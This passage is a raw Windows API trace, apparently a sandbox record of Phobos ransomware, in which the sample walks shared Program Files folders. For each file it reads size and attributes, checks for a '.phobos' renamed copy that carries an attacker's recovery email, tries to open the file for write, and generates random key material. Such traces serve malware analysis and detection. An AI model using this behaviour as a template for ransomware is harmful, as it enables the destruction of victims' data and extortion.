[0149.661] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\liclua.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0149.664] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=363728) returned 1 [0149.664] CloseHandle (hObject=0x57c) returned 1 [0149.664] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\liclua.exe")) returned 0x20 [0149.664] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\liclua.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.664] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\liclua.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.665] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.665] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0149.666] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=590523) returned 1 [0149.666] CloseHandle (hObject=0x57c) returned 1 [0149.666] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms")) returned 0x20 [0149.666] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.670] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.678] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.678] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0149.849] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=855376) returned 1 [0149.849] CloseHandle (hObject=0x560) returned 1 [0149.849] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll")) returned 0x20 [0149.850] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.850] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.850] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.850] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0149.951] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=22680) returned 1 [0149.951] CloseHandle (hObject=0x564) returned 1 [0149.951] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb")) returned 0x20 [0149.951] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.951] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.951] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.951] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0149.958] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=17920) returned 1 [0149.958] CloseHandle (hObject=0x564) returned 1 [0149.958] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui")) returned 0x20 [0149.958] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.958] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.959] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.959] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0149.976] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=2560) returned 1 [0149.976] CloseHandle (hObject=0x564) returned 1 [0149.976] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll")) returned 0x20 [0149.976] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msader15.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.976] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.976] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.976] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0149.977] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=1233920) returned 1 [0149.978] CloseHandle (hObject=0x564) returned 1 [0149.978] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll")) returned 0x20 [0149.978] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado15.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.978] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.978] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.978] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.987] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=50688) returned 1 [0149.987] CloseHandle (hObject=0x580) returned 1 [0149.987] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb")) returned 0x20 [0149.987] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.987] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.988] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.988] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.990] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=69632) returned 1 [0149.990] CloseHandle (hObject=0x580) returned 1 [0149.990] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb")) returned 0x20 [0149.990] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.990] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.990] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.991] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.995] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=71168) returned 1 [0149.995] CloseHandle (hObject=0x580) returned 1 [0149.995] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb")) returned 0x20 [0149.995] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.995] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.995] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.995] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.996] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=70656) returned 1 [0149.996] CloseHandle (hObject=0x580) returned 1 [0149.996] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb")) returned 0x20 [0149.997] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.997] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.997] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.997] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.000] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=364032) returned 1 [0150.000] CloseHandle (hObject=0x580) returned 1 [0150.000] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd.dll")) returned 0x20 [0150.000] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.000] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.001] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.001] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msador15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msador15.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.002] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=45568) returned 1 [0150.002] CloseHandle (hObject=0x580) returned 1 [0150.002] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msador15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msador15.dll")) returned 0x20 [0150.002] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msador15.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\msador15.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.002] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msador15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msador15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.002] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.002] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msador28.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.003] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=35840) returned 1 [0150.003] CloseHandle (hObject=0x580) returned 1 [0150.004] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msador28.tlb")) returned 0x20 [0150.004] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\msador28.tlb.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.004] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msador28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.004] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.004] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.005] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=24576) returned 1 [0150.005] CloseHandle (hObject=0x580) returned 1 [0150.005] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb")) returned 0x20 [0150.005] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.005] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.005] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.005] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadrh15.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.006] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=91136) returned 1 [0150.006] CloseHandle (hObject=0x580) returned 1 [0150.006] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadrh15.dll")) returned 0x20 [0150.006] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\msadrh15.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.007] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadrh15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.008] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.008] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui" (normalized: "c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.019] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=94208) returned 1 [0150.019] CloseHandle (hObject=0x580) returned 1 [0150.019] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui" (normalized: "c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui")) returned 0x20 [0150.020] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.020] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui" (normalized: "c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.020] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.020] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcor.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.021] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=6144) returned 1 [0150.021] CloseHandle (hObject=0x580) returned 1 [0150.022] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcor.dll.mui")) returned 0x20 [0150.022] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcor.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.022] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcor.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.022] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.022] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common 